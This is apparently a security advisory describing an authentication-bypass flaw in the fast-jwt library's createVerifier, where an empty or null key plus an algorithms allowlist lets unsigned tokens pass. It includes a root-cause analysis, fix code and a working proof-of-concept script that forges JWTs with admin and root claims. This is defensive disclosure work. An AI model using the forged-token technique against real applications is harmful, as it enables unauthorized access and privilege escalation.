Summary

createVerifier in fast-jwt ≤ 6.3.0 skips signature verification entirely when the key option is a falsy synchronous value ('' or null) and the algorithms option is set to a non-empty allowlist. An attacker who can present a JWT to the application — regardless of algorithm — can forge arbitrary claims without possessing any signing key.

Details

Root cause — four cooperating code paths:

A. Falsy sync keys bypass prepareKeyOrSecret

createVerifier branches on typeof key:

const keyType = typeof key
if (keyType !== 'string' && keyType !== 'object' && keyType !== 'function') {
  throw new TokenError(/* ... */)
}
if (key && keyType !== 'function') {
  key = prepareKeyOrSecret(key, hsAlgorithms.includes(availableAlgorithms[0]))
}

When key is '' (string, falsy) or null (object, falsy) the outer type check passes but the if (key && ...) guard never calls prepareKeyOrSecret. The empty-secret rejection added in that function is therefore never reached for sync keys:

function prepareKeyOrSecret(key, isSecret) {
  if (isSecret && key.length === 0) {
    throw new TokenError(TokenError.codes.invalidKey, 'The key cannot be an empty string or buffer.')
  }
  return isSecret ? createSecretKey(key) : createPublicKey(key)
}

B. Explicit algorithms keeps an allowlist active with no key

When key is falsy, autodetection is skipped and the caller-supplied algorithms (e.g. ['HS256']) is retained in allowedAlgorithms. The verifier therefore accepts tokens whose header matches that list.

C. hasKey is false → missing signature is permitted

const hasKey = key instanceof Buffer ? key.length : !!key

if (hasKey && !signature) {
  throw new TokenError(/* missingSignature */)
} else if (!hasKey && signature) {
  throw new TokenError(/* missingKey */)
}
// !hasKey && !signature → fall through with NO crypto

An unsigned token (header.payload.) produces signature === '', which is falsy, so both branches are skipped.

D. Signature check is gated on signature being truthy

if (signature && !verifySignature(header.alg, key, input, signature)) {
  throw new TokenError(/* invalidSignature */)
}

Empty signature → condition is false → verifySignature is never called.

E. Signer / verifier asymmetry

• createSigner({ key: '' }) / key: null → rejected
• createVerifier({ key: async () => '' }) → rejected (GHSA empty-secret tests)
• createVerifier({ key: '' | null, algorithms: [...] }) → accepted, then verifies unsigned tokens

Ironically, the security best practice of setting algorithms enables the bypass. With algorithms omitted, allowedAlgorithms stays [] and every token fails closed.

Affected versions: confirmed on 6.3.0 (current main @ 378422c).
This is an incomplete fix relative to the empty-secret hardening already applied for Buffer keys and async key functions (GHSA-gmvf lineage, PR #609).

PoC

cd /tmp && git clone --depth 1 https://github.com/nearform/fast-jwt.git && cd fast-jwt && npm install

// poc-empty-key-bypass.js
const { createVerifier } = require('.')

function unsigned(alg, claims) {
  const h = Buffer.from(JSON.stringify({ alg, typ: 'JWT' })).toString('base64url')
  const p = Buffer.from(JSON.stringify(claims)).toString('base64url')
  return `${h}.${p}.`  // trailing dot = empty signature
}

const token = unsigned('HS256', { sub: 'attacker', admin: true, role: 'root' })

// Vulnerable: key '' + explicit algorithms allowlist
const verify = createVerifier({ key: '', algorithms: ['HS256'] })
console.log(verify(token))
// → { sub: 'attacker', admin: true, role: 'root' }

// Also works for RS256 / ES256 / EdDSA allowlists and key: null
console.log(createVerifier({ key: null, algorithms: ['RS256'] })(unsigned('RS256', { admin: true })))
// → { admin: true }

// Negative controls (correctly rejected):
try { createVerifier({ key: 'secret', algorithms: ['HS256'] })(token) }
  catch (e) { console.log('non-empty key:', e.code) }   // FAST_JWT_MISSING_SIGNATURE

try { createVerifier({ key: '' })(token) }
  catch (e) { console.log('empty key, no algorithms:', e.code) }  // FAST_JWT_INVALID_ALGORITHM

try { createVerifier({ key: Buffer.alloc(0), algorithms: ['HS256'] })(token) }
  catch (e) { console.log('empty Buffer:', e.code) }   // FAST_JWT_INVALID_KEY

Expected: TokenError with code FAST_JWT_INVALID_KEY
Actual: payload returned with no signature check

Impact

Full authentication / authorization bypass. Any application that:

1. Uses createVerifier with key: '' or key: null (common when a secret is read from an unset environment variable, e.g. process.env.JWT_SECRET || ''), and
2. Sets algorithms to a non-empty allowlist (a recommended security practice),

will accept attacker-crafted JWTs with arbitrary claims. Claim checks (exp, allowedSub, etc.) still run; only signature verification is skipped.

Suggested fix

In createVerifier, fail closed before binding the verifier:

if (keyType !== 'function') {
  if (key === null || key === '' || (Buffer.isBuffer(key) && key.length === 0)) {
    throw new TokenError(TokenError.codes.invalidKey,
      'The key cannot be null, empty, or a zero-length buffer.')
  }
}

Also guard the combination explicitly:

if (!key && allowedAlgorithms.length > 0) {
  throw new TokenError(TokenError.codes.invalidKey,
    'The key cannot be falsy when algorithms is set.')
}

The async path (key function resolving to '') is already hardened via prepareKeyOrSecret and does not need to change.